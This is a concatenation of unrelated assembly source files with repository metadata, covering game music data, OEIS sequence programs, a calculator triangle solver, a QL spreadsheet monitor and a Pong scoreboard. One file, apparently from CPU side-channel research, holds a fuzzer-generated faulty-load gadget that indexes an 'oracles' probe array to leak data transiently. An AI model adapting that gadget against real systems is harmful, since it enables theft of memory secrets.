1 note __, 1 note D#, 1 note __, 1 note B_, 4 note D#, 1 note __, 1 note D#, 1 note __, 1 note A#, 4 note D#, 1 note __, 1 note E_, 2 loopchannel 2, Music_KantoGymBattle_branch_ec992 Music_KantoGymBattle_branch_ec9a8: note D#, 2 note A#, 2 loopchannel 7, Music_KantoGymBattle_branch_ec9a8 octave 3 note C#, 2 octave 2 note A#, 2 note E_, 2 note B_, 2 octave 3 note E_, 2 octave 2 note E_, 2 note B_, 2 octave 3 note E_, 2 Music_KantoGymBattle_branch_ec9bb: octave 2 note E_, 2 note B_, 2 loopchannel 5, Music_KantoGymBattle_branch_ec9bb Music_KantoGymBattle_branch_ec9c2: octave 2 note F#, 2 octave 3 note C#, 2 loopchannel 7, Music_KantoGymBattle_branch_ec9c2 octave 2 note A#, 2 octave 3 note C#, 2 octave 2 note E_, 2 note A#, 2 octave 3 note E_, 2 note F#, 2 note G#, 2 note F#, 2 note E_, 2 note C#, 2 Music_KantoGymBattle_branch_ec9d8: octave 2 note D#, 2 note A#, 2 loopchannel 4, Music_KantoGymBattle_branch_ec9d8 Music_KantoGymBattle_branch_ec9df: note C#, 2 note G#, 2 loopchannel 8, Music_KantoGymBattle_branch_ec9df Music_KantoGymBattle_branch_ec9e5: note D#, 2 note A#, 2 loopchannel 4, Music_KantoGymBattle_branch_ec9e5 octave 3 note D#, 2 octave 2 note A#, 2 note D#, 2 note D_, 2 note D_, 2 note A#, 2 octave 3 note D#, 2 note F_, 2 loopchannel 0, Music_KantoGymBattle_branch_ec965
14.314239
49
0.657329
9e76ff972cea0fc1fd755d1edb5182025793449d
645
asm
Assembly
oeis/157/A157844.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/157/A157844.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/157/A157844.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A157844: 103680000n^2 - 161251200n + 62697601. ; 5126401,154915201,512064001,1076572801,1848441601,2827670401,4014259201,5408208001,7009516801,8818185601,10834214401,13057603201,15488352001,18126460801,20971929601,24024758401,27284947201,30752496001,34427404801,38309673601,42399302401,46696291201,51200640001,55912348801,60831417601,65957846401,71291635201,76832784001,82581292801,88537161601,94700390401,101070979201,107648928001,114434236801,121426905601,128626934401,136034323201,143649072001,151471180801,159500649601,167737478401,176181667201 seq $0,157843 ; 1728000n - 1343760. pow $0,2 sub $0,147640377600 div $0,28800 add $0,5126401
71.666667
501
0.868217
b58102903d6f0b79507aae9a89fc7d596eabc4fd
5,169
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0_notsx.log_21829_945.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0_notsx.log_21829_945.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0_notsx.log_21829_945.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r9 push %rcx push %rdi push %rsi lea addresses_normal_ht+0x7a95, %rsi lea addresses_D_ht+0x4375, %rdi xor $62850, %r11 mov $86, %rcx rep movsb nop nop nop nop nop add %r11, %r11 lea addresses_WC_ht+0x17e31, %rsi lea addresses_A_ht+0x15475, %rdi clflush (%rdi) nop nop nop nop add $22983, %r12 mov $111, %rcx rep movsb nop nop nop nop cmp %r12, %r12 lea addresses_D_ht+0x16e75, %r12 nop nop nop and $58200, %r9 movups (%r12), %xmm1 vpextrq $0, %xmm1, %rcx nop xor $25267, %r12 pop %rsi pop %rdi pop %rcx pop %r9 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r8 push %r9 push %rax push %rbp push %rdi // Load mov $0xe75, %rdi nop xor %r8, %r8 mov (%rdi), %rax nop nop nop nop nop add %rdi, %rdi // Store lea addresses_normal+0x1dcb5, %rdi nop xor $50263, %rbp mov $0x5152535455565758, %r10 movq %r10, %xmm1 vmovups %ymm1, (%rdi) and %r8, %r8 // Faulty Load lea addresses_A+0x14475, %rbp nop xor $11115, %r9 mov (%rbp), %r10d lea oracles, %r9 and $0xff, %r10 shlq $12, %r10 mov (%r9,%r10,1), %r10 pop %rdi pop %rbp pop %rax pop %r9 pop %r8 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}} [Faulty Load] {'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': True}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
44.560345
2,999
0.658348
3e57121b969b771d0035bbd8dfea65bdbd2bce6b
1,811
asm
Assembly
examples/T/T.asm
brickpool/hp35s
14fc5881af7f72e1dbbf408d0201b411e16a9190
[ "MIT" ]
3
2020-12-08T08:13:46.000Z
2021-12-15T06:06:57.000Z
examples/T/T.asm
brickpool/hp35s
14fc5881af7f72e1dbbf408d0201b411e16a9190
[ "MIT" ]
null
null
null
examples/T/T.asm
brickpool/hp35s
14fc5881af7f72e1dbbf408d0201b411e16a9190
[ "MIT" ]
null
null
null
; This program calculates the sides, angles and area of a triangle MODEL P35S SEGMENT CODE LBL T A01: RCL U ; RCL 4 SIN RCL Z ; RCL 3 * RCL X ; RCL 1 / ASIN ; SIN^-1 STOP STO W ; STO 6 A10: RCL W ; RCL 6 RCL U ; RCL 4 + STO V ; STO 5 GTO A19 A15: RCL V ; RCL 5 RCL U ; RCL 4 + STO W ; STO 6 A19: RCL V ; RCL 5 SIN RCL W ; RCL 6 SIN / RCL Z ; RCL 3 * STO Y ; STO 2 A27: B17: RCL U ; RCL 4 RCL Y ; RCL 2 XEQ P2R ; ->R RCL Z ; RCL 3 x<>y - XEQ R2P ; ->P STO X ; STO 1 x<>y STO V ; STO 5 RCL U ; RCL 4 + COS +/- ACOS STO W ; STO 6 SIN * RCL Y ; RCL 2 * 2 / RTN B01: RCL Y ; RCL 2 x^2 RCL Z ; RCL 3 x^2 + RCL X ; RCL 1 x^2 - RCL Y ; RCL 2 RCL Z ; RCL 3 * 2 * / ACOS STO U ; STO 4 GTO B17 P2R: x<>y SIN LASTx COS Rv x<>y * R^ LASTx * RTN R2P: x<>y i * + ARG LASTx ABS RTN ENDS END ; CK=DE96 ; LN=261
17.247619
66
0.256764
d7f878cf2715ea4de4ead39561d913bd349bc9cf
2,580
asm
Assembly
src/spread/monitor.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/spread/monitor.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/spread/monitor.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
* Spreadsheet 28/12-91 * - monitor cell operations section prog include win1_keys_wman include win1_keys_wstatus include win1_keys_wwork include win1_keys_err include win1_keys_jcb include win1_keys_qdos_sms include win1_keys_qdos_io include win1_mac_oli include win1_spread_keys xdef mon_strt xdef mon_stop xref.l mli.goto mon_strt subr a0-a2/d0-d4 clr.l da_moncl(a6) move.l da_wmvec(a6),a2 moveq #mli.goto,d1 ; set window to goto item moveq #wsi.slct,d2 jsr wm.swlit(a2) tst.l d0 bne.s strt_exit moveq #$20,d2 ; code space move.l #$200,d3 ; data space moveq #0,d4 ; do not start at all lea mon_job,a1 lea mon_name,a2 xjsr ut_crjob tst.l d0 bne.s strt_exit move.l d1,da_monid(a6) move.l jcb_a6(a0),a1 ; get data space area add.l jcb_a4(a0),a1 move.l a6,(a1) ; hello, I am here moveq #sms.spjb,d0 moveq #2,d2 ; priority trap #do.sms2 strt_exit subend * * our own little monitor job mon_name qstrg {Monitor} mon_job lea 0(a4,a6.l),a6 move.l (a6),a5 ; owner jobs data area move.l da_chan(a5),a0 move.l da_wwork(a5),a4 moveq #iow.spap,d0 move.w ww_lattr+wwa_selc+wwa_back(a4),d1 moveq #forever,d3 move.l da_wmvec(a6),a2 jsr wm.trap3(a2) tst.l d0 bne.s mon_kill moveq #iow.sstr,d0 jsr wm.trap3(a2) tst.l d0 bne.s mon_kill moveq #iow.sink,d0 move.w ww_lattr+wwa_selc+wwa_ink(a4),d1 jsr wm.trap3(a2) tst.l d0 bne.s mon_kill mon_lp move.l da_chan(a5),a0 moveq #iow.clra,d0 moveq #forever,d3 trap #do.io tst.l d0 bne.s mon_kill moveq #iow.spix,d0 moveq #1,d1 moveq #0,d2 trap #do.io tst.l d0 bne.s mon_kill move.l da_moncl(a5),d1 ; convert cell number to string lea 4(a6),a1 xjsr con_cstr moveq #iob.smul,d0 move.w (a1)+,d2 moveq #forever,d3 trap #do.io tst.l d0 bne.s mon_kill moveq #sms.ssjb,d0 ; sleep for a while moveq #sms.myjb,d1 moveq #20,d3 suba.l a1,a1 trap #do.sms2 bra mon_lp mon_kill clr.l da_monid(a5) move.l d0,d3 moveq #sms.frjb,d0 moveq #sms.myjb,d1 trap #do.sms2 mon_stop subr d0-d3/a0-a3 moveq #sms.frjb,d0 move.l da_monid(a6),d1 beq.s stop_rdw moveq #0,d3 trap #do.sms2 clr.l da_monid(a6) stop_rdw move.l da_chan(a6),a0 move.l da_wwork(a6),a4 moveq #mli.goto,d1 xjsr rdw_mkav subend end
18.169014
60
0.615891
b72caf03d02d42e125203a689c7fc9dc4afd73b9
1,826
asm
Assembly
programs/oeis/052/A052515.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/052/A052515.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/052/A052515.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A052515: Number of ordered pairs of complementary subsets of an n-set with both subsets of cardinality at least 2. ; 0,0,0,0,6,20,50,112,238,492,1002,2024,4070,8164,16354,32736,65502,131036,262106,524248,1048534,2097108,4194258,8388560,16777166,33554380,67108810,134217672,268435398,536870852,1073741762,2147483584,4294967230,8589934524,17179869114,34359738296,68719476662,137438953396,274877906866,549755813808,1099511627694,2199023255468,4398046511018,8796093022120,17592186044326,35184372088740,70368744177570,140737488355232,281474976710558,562949953421212,1125899906842522,2251799813685144,4503599627370390,9007199254740884,18014398509481874,36028797018963856,72057594037927822,144115188075855756,288230376151711626,576460752303423368,1152921504606846854,2305843009213693828,4611686018427387778,9223372036854775680,18446744073709551486,36893488147419103100,73786976294838206330,147573952589676412792,295147905179352825718,590295810358705651572,1180591620717411303282,2361183241434822606704,4722366482869645213550,9444732965739290427244,18889465931478580854634,37778931862957161709416,75557863725914323418982,151115727451828646838116,302231454903657293676386,604462909807314587352928,1208925819614629174706014,2417851639229258349412188,4835703278458516698824538,9671406556917033397649240,19342813113834066795298646,38685626227668133590597460,77371252455336267181195090,154742504910672534362390352,309485009821345068724780878,618970019642690137449561932,1237940039285380274899124042,2475880078570760549798248264,4951760157141521099596496710,9903520314283042199192993604,19807040628566084398385987394,39614081257132168796771974976,79228162514264337593543950142,158456325028528675187087900476,316912650057057350374175801146,633825300114114700748351602488 mov $2,$0 mul $0,2 mov $1,2 pow $1,$2 sub $1,2 trn $1,$0 mov $0,$1
166
1,640
0.912924
39749aa1924c6f2bcce3c877598461b8040fa2a3
319
asm
Assembly
programs/oeis/122/A122760.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/122/A122760.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/122/A122760.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A122760: Triangle read by rows: t(n,m) = 2*3^m*(n mod 2). ; 0,2,6,0,0,0,2,6,18,54,0,0,0,0,0,2,6,18,54,162,486,0,0,0,0,0,0,0,2,6,18,54,162,486,1458,4374,0,0,0,0,0,0,0,0,0,2,6,18,54,162,486,1458,4374,13122,39366,0,0,0,0,0,0,0,0,0,0,0 lpb $0,1 add $2,4 sub $0,$2 sub $0,1 lpe sub $0,1 add $1,3 pow $1,$0 mul $1,2
24.538462
173
0.579937
95f5652591bee8d813363c2dba74cbd96542b207
379
asm
Assembly
programs/oeis/093/A093709.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/093/A093709.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/093/A093709.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A093709: Characteristic function of squares or twice squares. ; 1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0 lpb $0 dif $0,2 lpe mov $1,1 lpb $0 sub $0,$1 add $1,2 lpe pow $0,2 mov $1,3 trn $1,$0 mod $1,2 mov $0,$1
22.294118
201
0.556728
a6510d7b24c3189f8022a76a2e004b80c2ed0517
11,776
asm
Assembly
src/scoreboard.asm
tina-hoeflich/pong
2420f504c323582e7f0bf6f51753d062a0674c92
[ "MIT" ]
null
null
null
src/scoreboard.asm
tina-hoeflich/pong
2420f504c323582e7f0bf6f51753d062a0674c92
[ "MIT" ]
null
null
null
src/scoreboard.asm
tina-hoeflich/pong
2420f504c323582e7f0bf6f51753d062a0674c92
[ "MIT" ]
null
null
null
# Authors: Miriam Penger, Lena Gerken, Tina Höflich # function draws the scoreboard of the pong game pixel by pixel using the draw pixel function # gets: # a2: the decimal number between 0 and 11 that then are displayed on the bitmap display # returns: # - .text # Funktion to draw dots that separate the numbers on the scoreboard # drawing two circles using "draw_circle.asm" draw_dots: # allocate Memory: addi sp, sp,-20 sw a3, (sp) sw a4, 4 (sp) sw a5, 8 (sp) sw a7, 12 (sp) sw ra, 16 (sp) # draw dots li a3, 117 li a4, 14 li a5, 1 li a7, 0xffffff # white jal draw_circle li a3, 117 li a4, 20 li a5, 1 li a7, 0xffffff # white jal draw_circle # restore and Jump back lw ra, 16 (sp) addi sp, sp, 20 ret # Function to draw left numbers on the scoreboard # gets: # a2: number that is displayed on the screen draw_left_number: # allocate memory for x0-y1 + color variable addi sp, sp,-28 sw a2, 0 (sp) sw a3, 4 (sp) sw a4, 8 (sp) sw a5, 12 (sp) sw a6, 16 (sp) sw a7, 20 (sp) sw ra, 24 (sp) # draw a black 18 to remove numbers: # ----------- 18----------- # -1--- li a3, 95 li a4, 10 li a5, 95 li a6, 25 li a7,0 jal draw_line # -1---- li a3, 110 li a4, 10 li a5, 110 li a6, 25 # -- 8 ----- li a3, 100 li a4, 10 li a5, 100 li a6, 25 jal draw_line li a3, 100 li a4, 10 li a5, 110 li a6, 10 jal draw_line li a3, 110 li a4, 10 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 25 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 17 li a5, 110 li a6, 17 jal draw_line li a7, 0xffffff # white lw t0, (sp) # input number switch.start: # ----------- 0 ------------ switch.0: li t1, 0 bne t0, t1 switch.1 li a3, 100 li a4, 10 li a5, 100 li a6, 25 jal draw_line li a3, 100 li a4, 10 li a5, 110 li a6, 10 jal draw_line li a3, 110 li a4, 10 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 25 li a5, 110 li a6, 25 jal draw_line beq zero, zero switch.end # ----------------1------------ switch.1: li t1, 1 bne t0, t1 switch.2 li a3, 110 li a4, 10 li a5, 110 li a6, 25 jal draw_line beq zero, zero switch.end # ---------------2------------- switch.2: li t1, 2 bne t0, t1 switch.3 li a3, 100 li a4, 17 li a5, 100 li a6, 25 jal draw_line li a3, 110 li a4, 10 li a5, 110 li a6, 17 jal draw_line li a3, 100 li a4, 10 li a5, 110 li a6, 10 jal draw_line li a3, 100 li a4, 25 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 17 li a5, 110 li a6, 17 jal draw_line # -------------3--------------- switch.3: li t1, 3 bne t0, t1 switch.4 li a3, 100 li a4, 10 li a5, 110 li a6, 10 jal draw_line li a3, 110 li a4, 10 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 17 li a5, 110 li a6, 17 jal draw_line li a3, 100 li a4, 25 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 17 li a5, 110 li a6, 17 jal draw_line beq zero, zero switch.end # --------------4------------- switch.4: li t1, 4 bne t0, t1 switch.5 li a3, 100 li a4, 10 li a5, 100 li a6, 17 jal draw_line li a3, 110 li a4, 10 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 17 li a5, 110 li a6, 17 jal draw_line beq zero, zero switch.end # --------------5------------ switch.5: li t1, 5 bne t0, t1 switch.6 li a3, 100 li a4, 10 li a5, 100 li a6, 17 jal draw_line li a3, 110 li a4, 17 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 10 li a5, 110 li a6, 10 jal draw_line li a3, 100 li a4, 17 li a5, 110 li a6, 17 jal draw_line li a3, 100 li a4, 25 li a5, 110 li a6, 25 jal draw_line beq zero, zero switch.end # --------------6------------ switch.6: li t1, 6 bne t0, t1 switch.7 li a3, 100 li a4, 10 li a5, 100 li a6, 25 jal draw_line li a3, 110 li a4, 17 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 25 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 17 li a5, 110 li a6, 17 jal draw_line li a3, 100 li a4, 10 li a5, 110 li a6, 10 jal draw_line beq zero, zero switch.end # --------------7------------ switch.7: li t1,7 bne t0, t1 switch.8 li a3, 110 li a4, 10 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 10 li a5, 110 li a6, 10 jal draw_line beq zero, zero switch.end # ----------- 8------------ switch.8: li t1, 8 bne t0, t1 switch.9 li a3, 100 li a4, 10 li a5, 100 li a6, 25 jal draw_line li a3, 100 li a4, 10 li a5, 110 li a6, 10 jal draw_line li a3, 110 li a4, 10 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 25 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 17 li a5, 110 li a6, 17 jal draw_line beq zero, zero switch.end # ----------- 9------------ switch.9: li t1,9 bne t0, t1 switch.10 li a3, 100 li a4, 10 li a5, 100 li a6, 17 jal draw_line li a3, 100 li a4, 10 li a5, 110 li a6, 10 jal draw_line li a3, 110 li a4, 10 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 25 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 17 li a5, 110 li a6, 17 jal draw_line beq zero, zero switch.end # ----------- 10------------ switch.10: li t1,10 bne t0, t1 switch.11 # -0---- li a3, 100 li a4, 10 li a5, 100 li a6, 25 jal draw_line li a3, 100 li a4, 10 li a5, 110 li a6, 10 jal draw_line li a3, 110 li a4, 10 li a5, 110 li a6, 25 jal draw_line li a3, 100 li a4, 25 li a5, 110 li a6, 25 jal draw_line # -1--- li a3, 95 li a4, 10 li a5, 95 li a6, 25 jal draw_line beq zero, zero switch.end # ----------- 11----------- switch.11: li t1,11 bne t0, t1 switch.end # -1---- li a3, 110 li a4, 10 li a5, 110 li a6, 25 jal draw_line # -1--- li a3, 95 li a4, 10 li a5, 95 li a6, 25 jal draw_line beq zero, zero switch.end switch.end: lw ra, 24 (sp) addi sp, sp, 28 ret # function to draw right number to the scoreboard draw_right_number: # allocate memory for x0-y1 + color variable addi sp, sp,-28 sw a2, 0 (sp) sw a3, 4 (sp) sw a4, 8 (sp) sw a5, 12 (sp) sw a6, 16 (sp) sw a7, 20 (sp) sw ra, 24 (sp) # -----------dots--------- # draw a black 18 to remove numbers: # ----------- 18----------- # -1--- li a3, 125 li a4, 10 li a5, 125 li a6, 25 li a7,0 jal draw_line # -1---- li a3, 140 li a4, 10 li a5, 140 li a6, 25 # -- 8 ----- li a3, 130 li a4, 10 li a5, 130 li a6, 25 jal draw_line li a3, 130 li a4, 10 li a5, 140 li a6, 10 jal draw_line li a3, 140 li a4, 10 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 25 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 17 li a5, 140 li a6, 17 jal draw_line li a7, 0xffffff # white lw t0, (sp) # input number switch.start_2: # ----------- 0 ------------ switch.null: li t1, 0 bne t0, t1 switch.eins li a3, 130 li a4, 10 li a5, 130 li a6, 25 jal draw_line li a3, 130 li a4, 10 li a5, 140 li a6, 10 jal draw_line li a3, 140 li a4, 10 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 25 li a5, 140 li a6, 25 jal draw_line beq zero, zero switch.end_2 # ----------------1------------ switch.eins: li t1, 1 bne t0, t1 switch.zwei li a3, 140 li a4, 10 li a5, 140 li a6, 25 jal draw_line beq zero, zero switch.end_2 # ---------------2------------- switch.zwei: li t1, 2 bne t0, t1 switch.drei li a3, 130 li a4, 17 li a5, 130 li a6, 25 jal draw_line li a3, 140 li a4, 10 li a5, 140 li a6, 17 jal draw_line li a3, 130 li a4, 10 li a5, 140 li a6, 10 jal draw_line li a3, 130 li a4, 25 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 17 li a5, 140 li a6, 17 jal draw_line # -------------3--------------- switch.drei: li t1, 3 bne t0, t1 switch.vier li a3, 130 li a4, 10 li a5, 140 li a6, 10 jal draw_line li a3, 140 li a4, 10 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 17 li a5, 140 li a6, 17 jal draw_line li a3, 130 li a4, 25 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 17 li a5, 140 li a6, 17 jal draw_line beq zero, zero switch.end_2 # --------------4------------- switch.vier: li t1, 4 bne t0, t1 switch.fuenf li a3, 130 li a4, 10 li a5, 130 li a6, 17 jal draw_line li a3, 140 li a4, 10 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 17 li a5, 140 li a6, 17 jal draw_line beq zero, zero switch.end_2 # --------------5------------ switch.fuenf: li t1, 5 bne t0, t1 switch.sechs li a3, 130 li a4, 10 li a5, 130 li a6, 17 jal draw_line li a3, 140 li a4, 17 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 10 li a5, 140 li a6, 10 jal draw_line li a3, 130 li a4, 17 li a5, 140 li a6, 17 jal draw_line li a3, 130 li a4, 25 li a5, 140 li a6, 25 jal draw_line beq zero, zero switch.end_2 # --------------6------------ switch.sechs: li t1, 6 bne t0, t1 switch.sieben li a3, 130 li a4, 10 li a5, 130 li a6, 25 jal draw_line li a3, 140 li a4, 17 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 25 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 17 li a5, 140 li a6, 17 jal draw_line li a3, 130 li a4, 10 li a5, 140 li a6, 10 jal draw_line beq zero, zero switch.end_2 # --------------7------------ switch.sieben: li t1,7 bne t0, t1 switch.acht li a3, 140 li a4, 10 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 10 li a5, 140 li a6, 10 jal draw_line beq zero, zero switch.end_2 # ----------- 8------------ switch.acht: li t1, 8 bne t0, t1 switch.neun li a3, 130 li a4, 10 li a5, 130 li a6, 25 jal draw_line li a3, 130 li a4, 10 li a5, 140 li a6, 10 jal draw_line li a3, 140 li a4, 10 li a5, 140 li a6, 25 jal draw_line li a3, 130 li a4, 25 li a5, 